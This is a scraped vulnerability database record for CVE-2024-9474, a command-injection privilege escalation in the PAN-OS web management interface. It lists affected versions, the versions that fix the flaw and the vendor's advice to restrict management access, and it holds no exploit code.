"PAN-OS 10.2.9-h6",
"PAN-OS 10.2.9-h5",
"PAN-OS 10.2.9-h4",
"PAN-OS 10.2.9-h3",
"PAN-OS 10.2.9-h2",
"PAN-OS 10.2.9-h1",
"PAN-OS 10.2.9",
"PAN-OS 10.2.8-h20",
"PAN-OS 10.2.8-h19",
"PAN-OS 10.2.8-h18",
"PAN-OS 10.2.8-h17",
"PAN-OS 10.2.8-h16",
"PAN-OS 10.2.8-h15",
"PAN-OS 10.2.8-h14",
"PAN-OS 10.2.8-h13",
"PAN-OS 10.2.8-h12",
"PAN-OS 10.2.8-h11",
"PAN-OS 10.2.8-h10",
"PAN-OS 10.2.8-h9",
"PAN-OS 10.2.8-h8",
"PAN-OS 10.2.8-h7",
"PAN-OS 10.2.8-h6",
"PAN-OS 10.2.8-h5",
"PAN-OS 10.2.8-h4",
"PAN-OS 10.2.8-h3",
"PAN-OS 10.2.8-h2",
"PAN-OS 10.2.8-h1",
"PAN-OS 10.2.8",
"PAN-OS 10.2.7-h23",
"PAN-OS 10.2.7-h22",
"PAN-OS 10.2.7-h21",
"PAN-OS 10.2.7-h20",
"PAN-OS 10.2.7-h19",
"PAN-OS 10.2.7-h18",
"PAN-OS 10.2.7-h17",
"PAN-OS 10.2.7-h16",
"PAN-OS 10.2.7-h15",
"PAN-OS 10.2.7-h14",
"PAN-OS 10.2.7-h13",
"PAN-OS 10.2.7-h12",
"PAN-OS 10.2.7-h11",
"PAN-OS 10.2.7-h10",
"PAN-OS 10.2.7-h9",
"PAN-OS 10.2.7-h8",
"PAN-OS 10.2.7-h7",
"PAN-OS 10.2.7-h6",
"PAN-OS 10.2.7-h5",
"PAN-OS 10.2.7-h4",
"PAN-OS 10.2.7-h3",
"PAN-OS 10.2.7-h2",
"PAN-OS 10.2.7-h1",
"PAN-OS 10.2.7",
"PAN-OS 10.2.6-h6",
"PAN-OS 10.2.6-h5",
"PAN-OS 10.2.6-h4",
"PAN-OS 10.2.6-h3",
"PAN-OS 10.2.6-h2",
"PAN-OS 10.2.6-h1",
"PAN-OS 10.2.6",
"PAN-OS 10.2.5-h9",
"PAN-OS 10.2.5-h8",
"PAN-OS 10.2.5-h7",
"PAN-OS 10.2.5-h6",
"PAN-OS 10.2.5-h5",
"PAN-OS 10.2.5-h4",
"PAN-OS 10.2.5-h3",
"PAN-OS 10.2.5-h2",
"PAN-OS 10.2.5-h1",
"PAN-OS 10.2.5",
"PAN-OS 10.2.4-h32",
"PAN-OS 10.2.4-h31",
"PAN-OS 10.2.4-h30",
"PAN-OS 10.2.4-h29",
"PAN-OS 10.2.4-h28",
"PAN-OS 10.2.4-h27",
"PAN-OS 10.2.4-h26",
"PAN-OS 10.2.4-h25",
"PAN-OS 10.2.4-h24",
"PAN-OS 10.2.4-h23",
"PAN-OS 10.2.4-h22",
"PAN-OS 10.2.4-h21",
"PAN-OS 10.2.4-h20",
"PAN-OS 10.2.4-h19",
"PAN-OS 10.2.4-h18",
"PAN-OS 10.2.4-h17",
"PAN-OS 10.2.4-h16",
"PAN-OS 10.2.4-h15",
"PAN-OS 10.2.4-h14",
"PAN-OS 10.2.4-h13",
"PAN-OS 10.2.4-h12",
"PAN-OS 10.2.4-h11",
"PAN-OS 10.2.4-h10",
"PAN-OS 10.2.4-h9",
"PAN-OS 10.2.4-h8",
"PAN-OS 10.2.4-h7",
"PAN-OS 10.2.4-h6",
"PAN-OS 10.2.4-h5",
"PAN-OS 10.2.4-h4",
"PAN-OS 10.2.4-h3",
"PAN-OS 10.2.4-h2",
"PAN-OS 10.2.4-h1",
"PAN-OS 10.2.4",
"PAN-OS 10.2.3-h14",
"PAN-OS 10.2.3-h13",
"PAN-OS 10.2.3-h12",
"PAN-OS 10.2.3-h11",
"PAN-OS 10.2.3-h10",
"PAN-OS 10.2.3-h9",
"PAN-OS 10.2.3-h8",
"PAN-OS 10.2.3-h7",
"PAN-OS 10.2.3-h6",
"PAN-OS 10.2.3-h5",
"PAN-OS 10.2.3-h4",
"PAN-OS 10.2.3-h3",
"PAN-OS 10.2.3-h2",
"PAN-OS 10.2.3-h1",
"PAN-OS 10.2.3",
"PAN-OS 10.2.2-h6",
"PAN-OS 10.2.2-h5",
"PAN-OS 10.2.2-h4",
"PAN-OS 10.2.2-h3",
"PAN-OS 10.2.2-h2",
"PAN-OS 10.2.2-h1",
"PAN-OS 10.2.2",
"PAN-OS 10.2.1-h3",
"PAN-OS 10.2.1-h2",
"PAN-OS 10.2.1-h1",
"PAN-OS 10.2.1",
"PAN-OS 10.2.0-h4",
"PAN-OS 10.2.0-h3",
"PAN-OS 10.2.0-h2",
"PAN-OS 10.2.0-h1",
"PAN-OS 10.2.0",
"PAN-OS 10.1.14-h8",
"PAN-OS 10.1.14-h7",
"PAN-OS 10.1.14-h6",
"PAN-OS 10.1.14-h5",
"PAN-OS 10.1.14-h4",
"PAN-OS 10.1.14-h3",
"PAN-OS 10.1.14-h2",
"PAN-OS 10.1.14-h1",
"PAN-OS 10.1.14",
"PAN-OS 10.1.13-h5",
"PAN-OS 10.1.13-h4",
"PAN-OS 10.1.13-h3",
"PAN-OS 10.1.13-h2",
"PAN-OS 10.1.13-h1",
"PAN-OS 10.1.13",
"PAN-OS 10.1.12-h3",
"PAN-OS 10.1.12-h2",
"PAN-OS 10.1.12-h1",
"PAN-OS 10.1.12",
"PAN-OS 10.1.11-h10",
"PAN-OS 10.1.11-h9",
"PAN-OS 10.1.11-h8",
"PAN-OS 10.1.11-h7",
"PAN-OS 10.1.11-h6",
"PAN-OS 10.1.11-h5",
"PAN-OS 10.1.11-h4",
"PAN-OS 10.1.11-h3",
"PAN-OS 10.1.11-h2",
"PAN-OS 10.1.11-h1",
"PAN-OS 10.1.11",
"PAN-OS 10.1.10-h9",
"PAN-OS 10.1.10-h8",
"PAN-OS 10.1.10-h7",
"PAN-OS 10.1.10-h6",
"PAN-OS 10.1.10-h5",
"PAN-OS 10.1.10-h4",
"PAN-OS 10.1.10-h3",
"PAN-OS 10.1.10-h2",
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CVE-2024-9474 (GCVE-0-2024-9474)
Vulnerability from cvelistv5 – Published: 2024-11-18 15:48 – Updated: 2025-10-21 22:55
VLAI?
Title
PAN-OS: Privilege Escalation (PE) Vulnerability in the Web Management Interface
Summary
A privilege escalation vulnerability in Palo Alto Networks PAN-OS software allows a PAN-OS administrator with access to the management web interface to perform actions on the firewall with root privileges.
Cloud NGFW and Prisma Access are not impacted by this vulnerability.
Severity ?
CWE
- CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Assigner
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
Impacted products
| Vendor | Product | Version | ||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Palo Alto Networks | Cloud NGFW |
Unaffected:
All
|
||||||||||||
|
||||||||||||||
Date Public ?
2024-11-18 14:20
Credits
Palo Alto Networks thanks our Deep Product Security Research Team for discovering this issue internally from threat activity.
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"value": "\u003cp\u003eThis issue is fixed in PAN-OS 10.1.14-h6, PAN-OS 10.2.12-h2, PAN-OS 11.0.6-h1, PAN-OS 11.1.5-h1, PAN-OS 11.2.4-h1, and all later PAN-OS versions.\u003c/p\u003e\u003cp\u003eIn addition, in an attempt to provide the most seamless upgrade path for our customers, we are making fixes available for other TAC-preferred and commonly deployed maintenance releases.\u003c/p\u003e\u003cdiv\u003e\u003cul\u003e\u003cli\u003eAdditional PAN-OS 11.2 fixes:\u003cul\u003e\u003cli\u003e\u200b\u200b11.2.0-h1\u003c/li\u003e\u003cli\u003e11.2.1-h1\u003c/li\u003e\u003cli\u003e11.2.2-h2\u003c/li\u003e\u003cli\u003e11.2.3-h3\u003c/li\u003e\u003cli\u003e11.2.4-h1\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eAdditional PAN-OS 11.1 fixes:\u003cul\u003e\u003cli\u003e11.1.0-h4\u003c/li\u003e\u003cli\u003e11.1.1-h2\u003c/li\u003e\u003cli\u003e11.1.2-h15\u003c/li\u003e\u003cli\u003e11.1.3-h11\u003c/li\u003e\u003cli\u003e11.1.4-h7\u003c/li\u003e\u003cli\u003e11.1.5-h1\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eAdditional PAN-OS 11.0 fixes:\u003cul\u003e\u003cli\u003e11.0.0-h4\u003c/li\u003e\u003cli\u003e11.0.1-h5\u003c/li\u003e\u003cli\u003e11.0.2-h5\u003c/li\u003e\u003cli\u003e11.0.3-h13\u003c/li\u003e\u003cli\u003e11.0.4-h6\u003c/li\u003e\u003cli\u003e11.0.5-h2\u003c/li\u003e\u003cli\u003e11.0.6-h1\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eAdditional PAN-OS 10.2 fixes:\u003cul\u003e\u003cli\u003e10.2.0-h4\u003c/li\u003e\u003cli\u003e10.2.1-h3\u003c/li\u003e\u003cli\u003e10.2.2-h6\u003c/li\u003e\u003cli\u003e10.2.3-h14\u003c/li\u003e\u003cli\u003e10.2.4-h32\u003c/li\u003e\u003cli\u003e10.2.5-h9\u003c/li\u003e\u003cli\u003e10.2.6-h6\u003c/li\u003e\u003cli\u003e10.2.7-h18\u003c/li\u003e\u003cli\u003e10.2.8-h15\u003c/li\u003e\u003cli\u003e10.2.9-h16\u003c/li\u003e\u003cli\u003e10.2.10-h9\u003c/li\u003e\u003cli\u003e10.2.11-h6\u003c/li\u003e\u003cli\u003e10.2.12-h2\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eAdditional PAN-OS 10.1 fixes:\u003cul\u003e\u003cli\u003e10.1.9-h14\u003c/li\u003e\u003cli\u003e10.1.10-h9\u003c/li\u003e\u003cli\u003e10.1.11-h10\u003c/li\u003e\u003cli\u003e10.1.12-h3\u003c/li\u003e\u003cli\u003e10.1.13-h5\u003c/li\u003e\u003cli\u003e10.1.14-h6\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/div\u003e"
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"value": "This issue is fixed in PAN-OS 10.1.14-h6, PAN-OS 10.2.12-h2, PAN-OS 11.0.6-h1, PAN-OS 11.1.5-h1, PAN-OS 11.2.4-h1, and all later PAN-OS versions.\n\nIn addition, in an attempt to provide the most seamless upgrade path for our customers, we are making fixes available for other TAC-preferred and commonly deployed maintenance releases.\n\n * Additional PAN-OS 11.2 fixes: * \u200b\u200b11.2.0-h1\n * 11.2.1-h1\n * 11.2.2-h2\n * 11.2.3-h3\n * 11.2.4-h1\n\n\n\n * Additional PAN-OS 11.1 fixes: * 11.1.0-h4\n * 11.1.1-h2\n * 11.1.2-h15\n * 11.1.3-h11\n * 11.1.4-h7\n * 11.1.5-h1\n\n\n\n * Additional PAN-OS 11.0 fixes: * 11.0.0-h4\n * 11.0.1-h5\n * 11.0.2-h5\n * 11.0.3-h13\n * 11.0.4-h6\n * 11.0.5-h2\n * 11.0.6-h1\n\n\n\n * Additional PAN-OS 10.2 fixes: * 10.2.0-h4\n * 10.2.1-h3\n * 10.2.2-h6\n * 10.2.3-h14\n * 10.2.4-h32\n * 10.2.5-h9\n * 10.2.6-h6\n * 10.2.7-h18\n * 10.2.8-h15\n * 10.2.9-h16\n * 10.2.10-h9\n * 10.2.11-h6\n * 10.2.12-h2\n\n\n\n * Additional PAN-OS 10.1 fixes: * 10.1.9-h14\n * 10.1.10-h9\n * 10.1.11-h10\n * 10.1.12-h3\n * 10.1.13-h5\n * 10.1.14-h6"
}
],
"source": {
"discovery": "EXTERNAL"
},
"timeline": [
{
"lang": "en",
"time": "2024-11-18T14:00:00.000Z",
"value": "Initial publication"
}
],
"title": "PAN-OS: Privilege Escalation (PE) Vulnerability in the Web Management Interface",
"workarounds": [
{
"lang": "en",
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"value": "\u003cspan\u003eRecommended mitigation\u2014The vast majority of firewalls already follow Palo Alto Networks and industry best practices. However, if you haven\u2019t already, we strongly recommend that you secure access to your management interface according to our best practice deployment guidelines. Specifically, you should restrict access to the management interface to only trusted internal IP addresses to prevent external access from the internet.\u003c/span\u003e\u003cbr /\u003e\u003cp\u003e\u003cspan\u003eReview information about how to secure management access to your Palo Alto Networks firewalls:\u003c/span\u003e\u003c/p\u003e\u003cspan\u003e\u003cul\u003e\u003cli\u003e\u003cspan\u003ePalo Alto Networks LIVEcommunity article:\u00a0\u003c/span\u003e\u003ca target=\"_blank\" href=\"https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\"\u003e\u003cspan\u003ehttps://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\u003c/span\u003e\u003c/a\u003e\u003c/li\u003e\u003cli\u003ePalo Alto Networks official and more detailed technical documentation:\u00a0\u003ca target=\"_blank\" href=\"https://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices\"\u003ehttps://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/span\u003e"
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],
"value": "Recommended mitigation\u2014The vast majority of firewalls already follow Palo Alto Networks and industry best practices. However, if you haven\u2019t already, we strongly recommend that you secure access to your management interface according to our best practice deployment guidelines. Specifically, you should restrict access to the management interface to only trusted internal IP addresses to prevent external access from the internet.\nReview information about how to secure management access to your Palo Alto Networks firewalls:\n\n * Palo Alto Networks LIVEcommunity article:\u00a0 https://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "d6c1279f-00f6-4ef7-9217-f89ffe703ec0",
"assignerShortName": "palo_alto",
"cveId": "CVE-2024-9474",
"datePublished": "2024-11-18T15:48:23.405Z",
"dateReserved": "2024-10-03T11:35:20.568Z",
"dateUpdated": "2025-10-21T22:55:36.080Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}